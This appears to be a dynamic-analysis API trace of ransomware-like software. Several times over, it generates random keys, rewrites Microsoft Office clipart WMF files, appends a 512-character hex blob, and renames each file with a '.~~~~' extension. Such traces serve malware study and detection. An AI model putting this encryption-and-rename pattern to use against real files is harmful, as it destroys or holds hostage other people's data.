	[0104.490] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.490] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0104.490] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22448030653) returned 1
	[0104.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa7f49c90, dwHighDateTime=0x1d60e1e)) 
	[0104.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2ad8
	[0104.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2ad8 | out: hHeap=0x300000) returned 1
	[0104.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d320
	[0104.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2868d60
	[0104.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.491] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.491] GetLastError () returned 0x0
	[0104.491] GetLastError () returned 0x0
	[0104.491] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.491] GetLastError () returned 0x0
	[0104.492] GetLastError () returned 0x0
	[0104.495] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff3df4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.495] WriteFile (in: hFile=0x130, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0xc20c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x24dfec0*=0xc20c, lpOverlapped=0x0) returned 1
	[0104.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0104.496] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.496] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.496] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.496] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.496] CloseHandle (hObject=0x130) returned 1
	[0104.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.496] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf.~~~~")) returned 1
	[0104.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.497] GetLastError () returned 0x0
	[0104.498] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0104.499] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.499] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0104.499] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22448926341) returned 1
	[0104.499] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa7f6fdf0, dwHighDateTime=0x1d60e1e)) 
	[0104.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2b80
	[0104.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2b80 | out: hHeap=0x300000) returned 1
	[0104.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.500] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2868df8
	[0104.500] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.500] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.500] GetLastError () returned 0x0
	[0104.500] GetLastError () returned 0x0
	[0104.500] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.500] GetLastError () returned 0x0
	[0104.500] GetLastError () returned 0x0
	[0104.503] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff51f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.503] WriteFile (in: hFile=0x130, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0xae08, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x24dfec0*=0xae08, lpOverlapped=0x0) returned 1
	[0104.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0104.504] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.504] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.504] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.504] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.504] CloseHandle (hObject=0x130) returned 1
	[0104.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.505] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf.~~~~")) returned 1
	[0104.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.506] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.506] GetLastError () returned 0x0
	[0104.506] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0104.507] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0104.507] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0104.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0104.507] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22449747180) returned 1
	[0104.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa7f6fdf0, dwHighDateTime=0x1d60e1e)) 
	[0104.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2b10
	[0104.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2b10 | out: hHeap=0x300000) returned 1
	[0104.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2868e90
	[0104.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.508] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.508] GetLastError () returned 0x0
	[0104.508] GetLastError () returned 0x0
	[0104.509] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.509] GetLastError () returned 0x0
	[0104.509] GetLastError () returned 0x0
	[0104.605] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffff8eb2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.605] WriteFile (in: hFile=0x130, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0x714e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x24dfec0*=0x714e, lpOverlapped=0x0) returned 1
	[0104.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0104.606] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.606] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.606] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.606] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.606] CloseHandle (hObject=0x130) returned 1
	[0104.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0104.607] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf.~~~~")) returned 1
	[0104.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.693] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.693] GetLastError () returned 0x0
	[0104.710] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0104.711] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.711] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0104.711] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22470150567) returned 1
	[0104.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa815efd0, dwHighDateTime=0x1d60e1e)) 
	[0104.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28bb550
	[0104.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28bb550 | out: hHeap=0x300000) returned 1
	[0104.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0104.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869518
	[0104.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0104.712] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.712] GetLastError () returned 0x0
	[0104.713] GetLastError () returned 0x0
	[0104.713] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.713] GetLastError () returned 0x0
	[0104.713] GetLastError () returned 0x0
	[0104.719] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffc992, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.719] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x366e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x366e, lpOverlapped=0x0) returned 1
	[0104.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.721] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.721] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.721] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.721] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.721] CloseHandle (hObject=0x144) returned 1
	[0104.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293ef58
	[0104.721] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf.~~~~")) returned 1
	[0104.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293ef58 | out: hHeap=0x300000) returned 1
	[0104.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.723] GetLastError () returned 0x0
	[0104.723] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0104.725] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.725] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0104.725] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22471543436) returned 1
	[0104.725] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa8185130, dwHighDateTime=0x1d60e1e)) 
	[0104.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c640
	[0104.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c640 | out: hHeap=0x300000) returned 1
	[0104.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293ef58
	[0104.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869ba0
	[0104.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293ef58 | out: hHeap=0x300000) returned 1
	[0104.726] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.726] GetLastError () returned 0x0
	[0104.727] GetLastError () returned 0x0
	[0104.727] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.727] GetLastError () returned 0x0
	[0104.727] GetLastError () returned 0x0
	[0104.730] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffd8c2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.730] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x273e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x273e, lpOverlapped=0x0) returned 1
	[0104.731] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0104.731] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.731] WriteFile (in: hFile=0x144, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.732] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.732] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.732] CloseHandle (hObject=0x144) returned 1
	[0104.732] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293f000
	[0104.732] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf.~~~~")) returned 1
	[0104.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293f000 | out: hHeap=0x300000) returned 1
	[0104.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.733] GetLastError () returned 0x0
